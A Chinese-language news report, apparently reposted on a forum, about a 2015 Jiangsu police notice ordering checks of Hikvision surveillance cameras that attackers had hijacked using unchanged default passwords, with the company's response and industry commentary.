    在中国,英国作家奥威尔所著《1984》一书中所描述的情景已经基本变为现实。公共场所无处不在的摄像头,已经让人们的日常生活愈发向"360度无死角"的方向过渡。然而近日中国公安机关发布的一份通知显示,对中国大街小巷的摄像头有绝对控制权的,不仅仅是中国的安全机关。

    包括《人民网》、《中国证券报》在内的中国媒体近日报道,2月27日,江苏省公安厅科技信息化处发布了《关于立即对全省海康威视监控设备进行全面清查和安全加固的通知》。称  "海康威视监控设备存在严重安全隐患,部分设备已经被境外IP地址控制。"该文件要求:"各地对使用的海康威视设备进行全面清查,并开展安全加固"。

    初始密码惹的祸

    作为在中国深圳股票交易市场的上市公司,海康威视在上述消息传出后发表回应说明,该公司于2014年8月中旬就发现产品因遭到网络攻击,返修数量非正常升高。经公司调查,被攻击的设备"均应用于互联网且未修改设备初始密码。"

    海康威视总经理胡扬忠向中国《第一财经日报》表示,黑客直接利用设备的初始密码登录,并植入脚本文件,进而挟持、破坏设备固件。攻击于2014年11月、12月期间达到高峰,数万台设备"中招"。从2014  年 8 月 19  日至今,黑客持续利用美国、瑞典、荷兰等境外服务器资源实施攻击。海康威视声称,当时公司立即向公安机关、国家计算机应急响应中心浙江分中心等主管部门通报了有关情况,确认是针对海康威视产品的恶意攻击行为。公安机关已于2014年9月初立案侦查。

    位于杭州的海康威视数字技术股份有限公司自称是"领先的视频产品及内容服务提供商,面向全球提供领先的安防产品、专业的行业解决方案与优质的服务。"该公司"拥有业内领先的自主核心技术和可持续研发能力"。针对金融、公安、电讯、交通、司法、教育、电力、水利、军队等众多行业提供产品与行业解决方案。据称,其产品和方案面向全球100多个国家和地区,在2014年APEC峰会、北京奥运会、大运会、亚运会、上海世博会、60年国庆大阅兵、青藏铁路等重大安保项目中得到"广泛应用"。该公司于2010年在深圳中小企业板块上市,其招股说明书显示,海康威视实际控制人为中国电子科技集团。后者属国资委全资控股。

    漏洞中的漏洞

    海康威视强调,监视设备被黑客攻击主要是因为部分连接互联网的设备没有更改初始默认密码,或设置密码安全性较弱。比如使用了123456、888888、admin等登陆密码。一位不愿意透露姓名,多年从事公共摄像安全系统安装的技术主管向德国之声表示  ,某些使用单位作风不严谨,没有更改默认密码确实是让黑客能够发起攻击的主要原因。但除了密码以外,黑客还必须获得监控设备的网络IP地址。由于中国公安机关的内部网络对外隔离,所以此次遭黑客攻击的应该只是一小部分与互联网连接的设备。

    根据中国官媒《人民网》的报道,截至2014年,在视频监控领域,海康威视的市场占有率连续三年"占据全球首位"。上述不愿意透露姓名的技术主管介绍说,海康威视产品在中国市场的装机率具一定规模,但该公司只是生产终端监控设备的厂商,而设备入网的安全性并不是主要取决于终端设备,而是网内交换设备的防黑客安全性能,包括路由器和交换机的防火墙设备。他表示,海康威视并不是安全部门,产品的防护级别并不高。但在中国,该公司的市场规模很大,但同时有许多"山寨"厂商,也在为中国的公共监视网络提供产品。

    江苏省公安厅相关负责人向《每日经济新闻》表示,他也不知道对海康威视监控设备进行全面清查的内部文件是怎么泄露出来的,目前江苏省公安厅就此正在进行内部自查。同时,一位安防企业高管向该媒体表示,江苏省公安厅披露的信息中提到被境外IP控制,但很难想象是因为初始密码没有修改这么简单。"深入想一下,这个事情的背后不止对安防行业,或许对整个国家信息安全都会有很大的影响。"

TOP

发新话题